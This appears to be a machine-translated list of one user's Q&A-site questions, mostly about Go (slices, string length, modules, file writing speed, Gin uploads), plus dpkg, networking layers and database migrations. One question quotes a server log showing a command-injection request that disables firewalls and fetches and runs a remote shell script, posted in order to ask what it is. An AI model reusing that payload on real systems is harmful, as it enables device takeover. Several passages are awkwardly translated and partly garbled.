Space Researcher's questions

我正在安装该应用程序，但在安装过程中笔记本电脑关闭了。当我尝试再次安装时，它说：

E: Работа dpkg была прервана, вы должны вручную запустить «sudo dpkg --configure -a» для устранения проблемы. 

当尝试安装任何其他应用程序或模块时，使用推荐的命令时会发生相同的错误，sudo dpkg --configure -a它会永远等待：

Laptop-QN190HKL ~ > sudo dpkg --configure -a
Настраивается пакет context (2021.03.05.20220211-1) …
Running mtxrun --generate. This may take some time... done.
Pregenerating ConTeXt MarkIV format. This may take some time... 

今天我重建Doxygen，发现图形不显示。谁遇到过这个问题？

假设有一些界面，例如一个几何图形，它有3个继承体：正方形、三角形、五边形。让指向它们的指针存储在一个指针向量中。如果我们无法通过多态指针区分形状的类型，那么问题就出现了，如何将所有方块着色为红色。我知道2个解决方案：

1. 演讲者演员，这是某种拐杖
2. 在物体内部添加视场，这也是值得怀疑的。

那么如何只将方块涂成红色呢？一般如何处理这样的问题？

我发现了一个旧的日志条目

2024/04/13 14:58:58 article.NumOfRequests = %!(EXTRA int=1)

代码执行时输出：

article, err := articlefinder.FindBySeoId(seoId, service.Repos.GetArticles())
    article.NumOfRequests += 1
    log.Printf("article.NumOfRequests = ", article.NumOfRequests)
    return *article, err

这种奇怪的输出格式是什么意思？

package main

import (
    "fmt"
    "log"
)

func main() {
    arr := make([]int, 3, 3)
    fmt.Println(arr, len(arr), cap(arr))
    log.Printf("%p", arr)
    addElems(arr)
    fmt.Println(arr, len(arr), cap(arr))
    log.Printf("%p", arr)
}
func addElems(arr []int) {
    log.Printf("%p", arr)
    arr = append(arr, 4)
    arr = append(arr, 5)
    arr = append(arr, 6)
    fmt.Println(arr, len(arr), cap(arr))
    log.Printf("%p", arr)
}

切片在函数内部发生变化，这就是 Go 的工作方式，但如果你执行追加操作，那么一切都会不同。我认为这很可能是因为append返回新地址并将其插入到arr变量中，但不清楚为什么arr本身没有变异。

我决定再举一个例子

package main

import (
    "fmt"
    "log"
)

func main() {
    arr := make([]int, 3, 8)
    fmt.Println(arr, len(arr), cap(arr))
    log.Printf("%p", arr)
    addElems(arr)
    fmt.Println(arr, len(arr), cap(arr))
    log.Printf("%p", arr)
}
func addElems(arr []int) {
    log.Printf("%p", arr)
    arr = append(arr, 4)
    arr = append(arr, 5)
    arr = append(arr, 6)
    fmt.Println(arr, len(arr), cap(arr))
    log.Printf("%p", arr)
}

这里append没有返回新的地址，为什么函数出口处有一个arr，但在main函数中运行后它已经不同了？

在我看来，段在声明时并不是被创建的，可能是因为我开始学习《Head First》的那本书。Learning Go » 2020 ISBN 978-5-4461-1395-8（第 210 页）以下是其中的内容：

但我发现一切都是这样的：

package main
import "fmt"

func main() {
    var strArr []string
    fmt.Print(strArr)
    strArr = append(strArr,"qwerty")
    fmt.Print(strArr)
}

结果：

[][qwerty]

...Program finished with exit code 0
Press ENTER to exit console

事实证明，我的信息已经过时，而且这本书是旧版本，或者我弄错了什么。根据我给出的例子，当声明一个段时，它仍然会自动创建，这是真的吗？

为什么发明了两种不同的数据类型？它们的区别和用途是什么？

我不明白哪个级别在哪里运行（电线、路由器、交换机、操作系统）。根据我的理解，事情是这样发生的：

1. 应用层是应用软件，在用户之下它有一个通过网络进行交互的接口，该软件不需要知道有关网络的任何其他信息 - 例如http。有一份合同——我们走吧。它在操作系统中
2. 表示级别 - 例如，我们标记数据必须解释为 json，并以 json 格式从应用程序级别发送。这仍然在用户下的操作系统中
3. 会话层已经是核心，它有一个接口，可以向下面的级别发出有关会话打开的信号，并接收会话打开的响应，并将 http 请求和 json 发送到传输层
4. 传输层也在操作系统内核中，具有来自以下级别的接口，可以接收有关吞吐量、延迟的信息，并使用这些信息，根据某些（什么？）协议将请求及其主体切成块，添加您自己的标题等
5. 如果块太大，网络层会将块切割成数据包（？为什么传输层不能生成正常的块？），但仍然将这些块（即使没有切割？？）打包成数据包，并添加有关接收者的信息（IP地址？ ）。也就是说，该级别有一个与下面级别的接口，以便了解收件人所在的子网，找出其默认网关 ip（是路由器吗？）以及收件人在该子网中的 ip。
6. 通道将数据包切割成帧，显然是为了添加更多标头（问题是哪些标头），并将帧扔到物理级别并确保它们在物理级别正确转换为位 - （操作系统？）
7. 物理层 - （网卡？？） - 将位转换为电信号，并通过在网络层指定的 IP 子网发送它们，子网接收、解包并在内部搜索路由表（显然在路由器上？？）根据所需的接收者和网络，接收卡以电信号的形式从路由器接收数据，并发生相反的过程。

请告诉我哪里错了，其他问题都标在括号中。可惜网上80%的资料太肤浅，我什么都不懂

由于某种原因，关于 RuSO 的类似问题并不受欢迎，而且原则上很少有人真正理解它

我用两种语言编写了相同的代码：

import os

file1 = open("z1.txt", "w")
file2 = open("z2.txt", "w")

for x in range(-1000, 1000):
    for y in range(-1000, 1000):
        z1 = (x + y) * (x + y)
        z2 = x * y

        args = str(x) + "\t" + str(y) + "\t"
        toFile1 = args + str(z1) + "\n"
        toFile2 = args + str(z2) + "\n"
        file1.write(toFile1)
        file2.write(toFile2)

file1.close()
file2.close()

package main

import (
  "os"
  "strconv"
)

func main() {
  file1, _ := os.Create("z1.txt")
  file2, _ := os.Create("z2.txt")
  for x := -1000; x < 1000; x++ {
    for y := -1000; y < 1000; y++ {
      z1 := (x + y) * (x + y)
      z2 := x * y

      args := strconv.Itoa(x) + "\t" + strconv.Itoa(y) + "\t"
      toFile1 := []byte(args + strconv.Itoa(z1) + "\n")
      toFile2 := []byte(args + strconv.Itoa(z2) + "\n")
      file1.Write(toFile1)
      file2.Write(toFile2)
    }
  }
  file1.Close()
  file2.Close()
}

一个意外的惊喜——在 golang 上，最坏情况下运行时间为 12 秒，而在 python 中则为 7 秒。在平均情况下，go 也远远落后，大约进行了 30 次运行。此外，golang 本身在该程序中以 2 个线程工作，这似乎可以加快写入两个文件的速度。

我怀疑我在 Go 中错误地使用了太低级的函数，并决定在 C 中实现相同的代码：

#include "stdio.h"

int main(){
    FILE* f1 = fopen("z1.txt","w");
    FILE* f2 = fopen("z2.txt","w");


    for (int x =-1000; x <1000;++x ){
        for(int y =-1000; y <1000;++y ){
            int z1 = (x+y)*(x+y);
            int z2 = x*y;

            fprintf(f1,"%d\t%d\t%d\n",x,y,z1);
            fprintf(f2,"%d\t%d\t%d\n",x,y,z2);
        }
    }
    fclose(f1);
    fclose(f2);

    return 0;
}

这里没有什么令人惊讶的——它会在瞬间完成所有事情。好吧，我尝试了 GoS 实现，它变得更糟 - 平均 22 秒。

package main

import (
    "fmt"
    "os"
)

func main() {
    file1, _ := os.Create("z1.txt")
    file2, _ := os.Create("z2.txt")

    for x := -1000; x < 1000; x++ {
        for y := -1000; y < 1000; y++ {
            z1 := (x + y) * (x + y)
            z2 := x * y

            fmt.Fprintf(file1, "%d\t%d\t%d\n", x, y, z1)
            fmt.Fprintf(file2, "%d\t%d\t%d\n", x, y, z2)
        }
    }
    file1.Close()
    file2.Close()
}

接下来，我尝试优化 Go 中的代码并写入文件 1 次，而不是循环写入，并将缓冲区存储在一行中，我在 Python 中做了同样的事情，但没有任何改变，我无法理解出了什么问题，为什么 golang 在这项任务上落后了。

带 Go 手写缓冲区的版本：

package main

import (
    "os"
    "strconv"
)

func main() {
    file1, _ := os.Create("z1.txt")
    file2, _ := os.Create("z2.txt")
    var toFile1 string
    var toFile2 string
    for x := -1000; x < 1000; x++ {
        for y := -1000; y < 1000; y++ {
            z1 := (x + y) * (x + y)
            z2 := x * y

            args := strconv.Itoa(x) + "\t" + strconv.Itoa(y) + "\t"
            toFile1 += (args + strconv.Itoa(z1) + "\n")
            toFile2 += (args + strconv.Itoa(z2) + "\n")

        }
    }

    file1.Write([]byte(toFile1))
    file2.Write([]byte(toFile2))

    file1.Close()
    file2.Close()
}

如果可能的话，请给出详细的答案，而不是“在go中还有一个额外的动作——转换为字节”。先感谢您）

python3 Python 3.10.12（主要，2023 年 11 月 20 日，15:14:05）[GCC 11.4.0] 在 Linux 上键入“help”、“copyright”、“credits”或“license”以获取更多信息。

go版本go1.21.6 linux/amd64

package main

import (
  "fmt"
  "strconv"
  "strings"
)

func main() {
  a := "1 2 3 4 5 6"
  var lol []int
  for _, v := range strings.Split(a, " ") {
    num, _ := strconv.Atoi(v)
    lol = append(lol, num)
  }
  fmt.Println(lol)
}

有没有更短的方法？，就像在 python 中一样：

a = '1 2 3 4 5 6'
lol = list(map(int, a.split()))

分叉了库，重命名了它，在安装时更改了 go.mod 中的名称，出现错误，我尝试了英文的解决方案，但没有帮助，我不知道出了什么问题

go get github.com/Ernesto-Che-Guevara/golempinus/v4
go: github.com/Ernesto-Che-Guevara/golempinus/v4@upgrade (v4.0.1) requires github.com/Ernesto-Che-Guevara/golempinus/[email protected]: parsing go.mod:
        module declares its path as: github.com/aaaton/golem/v4
                but was required as: github.com/Ernesto-Che-Guevara/golempinus/v4

安装了库

我尝试运行该示例

package main

import (
  "fmt"
  "strings"

  "github.com/wmentor/lemmas"
)

func main() {

  txt := "Создать экспертную систему."

  processor := lemmas.New()

  processor.AddText(strings.NewReader(txt))

  processor.FetchResult(func(keyphrase string, weight float64) {
    fmt.Println(keyphrase, weight)
  })
}

给出错误消息

../golang/pkg/mod/github.com/wmentor/[email protected]/processor.go:72:9: undefined: tokens.Process

谁有这样的事情？如何处理这个错误？

package main
import "fmt"
// import "unsafe"

func main() {
    word := string("крен")
    // lastSymb := string(word[len(word)-1])
    // fmt.Println(lastSymb)
    // fmt.Println(word)
    // fmt.Println(unsafe.Sizeof(word))
    fmt.Println(len(word))
}

首先，我无法从俄语单词中取出最后一个字符，事实证明，许多来源错误地解释了 len() 函数的返回值，该函数显然是从英语翻译而来的，其中所有字母都属于经典 ASCII。注意，该函数返回字符串的长度（以字节为单位），而不是以符号为单位。问题是：

1. 为什么对于单词 roll 返回 8，而不是 10，行尾符号在哪里？
2. 获取任意字符串字符长度的优雅方法是什么？

UPD 我发现它使用“unicode/utf8”库，但是我真的需要使用整个库来完成这样一个简单的操作吗？？？还有其他选择吗？

在我们新奇的启动中，我们决定切换到使用字符串存储的 uuid。数据库中需要将表中id列的数据类型从bigint转换为text。但事实证明，引用该列的表不允许我们这样做，他们说我们引用的是 int，而不是 text。我不得不编写一个健康的行，而不是迁移到类型更改的 1 行删除这些依赖表，然后更改类型，然后再次建立“新”编辑表。有没有更优雅的方法来做这种事情？

了解仿真建模的分类。在所有视频中发现：请帮助我理解我是否正确理解基于代理与离散事件的不同之处在于基于代理的目标是详细考虑每个实体，而ds则针对整个系统及其行为取决于交易的生成和系统元素的参数。

主要问题：4:51 的颂歌系统来自哪里？为什么是苏打水而不是腐肉？？？

服务器：

func main() {
    currentFileId = UNIQUE_FILE_ID_START
    log.Println("started ...")
    start()

    server := gin.Default()

    server.POST("/upload_file", uploadFile)
}

func uploadFile(c *gin.Context) {
    log.Println("inUploadFile")
    log.Println(c.PostFormArray("file")) // пробовал ещё методы, почему-то пустота везде, логи ниже

    //получить файл,записать файл логов ,проверить на 1 гиг, сохранить и отдать страницу
    c.File("./templates/index2.html")

}
// пробовал ещё такие методы
log.Println(c.PostForm("file"))
    log.Println(c.PostFormMap("file"))
    log.Println(c.GetPostForm("file"))
    log.Println(c.GetPostFormArray("file"))
    log.Println(c.PostFormArray("file"))

客户：

<html lang = "ru">
    <head>
       <!-- <link rel="stylesheet" href="/staticCSS"> -->
   </head>
   <body>
        <div class = "main_block">
            <form enctype="multipart/form-data" method="post" action="/upload_file">
                <p>Загрузите ваш файл.</p>
                <p><input type="file" name="file">
                <input type="submit" value="Отправить"></p>
            </form>
        </div>
    </body>
</html>

日志：

2023/08/24 16:26:24 inUploadFile
2023/08/24 16:26:24 [] ПОЧЕМУ ПУСТО???
[GIN] 2023/08/24 - 16:26:24 | 200 |   91.721559ms |  127.0.0.1 | POST    "/upload_file"

为什么日志是空的？如何接受并保存发布请求正文中的文件？

我发现我们新奇的 IT 初创公司的公共服务器正在接收奇怪的请求，显然是某种自动请求。请解释一下这可能是什么？

[GIN] 2023/08/23 - 11:49:28 
| 404 |       6.885µs | ip клиента(палить не буду, локация США) 
| GET      "/cgi-bin/luci/;stok=/locale?
form=country&operation=write&country=$(cd%20/tmp
%3Brm%20zizuo.sh%3Brm%20-rf%20zizuo.sh
%3Bufw%20disable%3Bsystemctl%20stop%20firewalld.service
%3Bsystemctl%20stop%20firewalld%3Bservice
%20iptables%C2%A0stop%3Bwget%20http%3A
//(тут тоже был ip , локация Нидерланды)/zizuo.sh%3Bchmod
%20777%20zizuo.sh%3Bsh%20zizuo.sh)"

我应该分析情况吗（如果是，如何分析）？安全问题值得担心吗？我们对这些人回复 404 好吗？

我正在阅读 Head First Go，我在 56 中遇到了这个： 我尝试了一下，它确实给出了一个错误：

    var fl float64 = 5.5
    var in int = 5
    if(fl > in){
        fmt.Println("vars")
    }

然后我尝试了这个并且它起作用了：

    if(5.5 > 5){
        fmt.Println("numbers")
    }

如果你不能在 go 中比较不同的类型，那么为什么你可以像第二个例子那样呢？在我看来，答案之一 - 可能是隐式转换。如果语言编写得尽可能简单明了以便于阅读，为什么它们仍留在 golang 中？它在某种程度上偏离了语言的哲学和概念。但既然他们留下了它，就意味着出于某种原因这是必要的，所以有一个应用程序。为什么 - 我还没弄清楚，我在等待你的帮助:)

我对golang的理解，链接和连接第三方库的系统有些难以理解。由于某种原因只能连接github，或者我没搞清楚。仍然到处都有一些关于包和模块的被破坏的术语。请解释什么是什么以及为什么需要它、链接的区别以及是否可以连接不是来自 github 的东西？请附上您的俄语来源。英语文学相当多，但一切似乎都与俄语翻译有些混乱。

想要安装该库。

指令是这样的：

安装

go get github.com/xuri/excelize

如果您的包是使用 Go Modules 管理的，请使用以下命令进行安装。

go get github.com/xuri/excelize/v2

我尝试一下，错误：

go: go.mod file not found in current directory or any parent directory.
        'go get' is no longer supported outside a module.

我驱动了库链接，github上写了404。我不确定应该是这样。

UPD 做了以下工作：

go install github.com/xuri/excelize/v2@latest

安装了一些东西，但仍然没有构建代码，错误：

no required module provides package github.com/xuri/excelize/v2

原生自述文件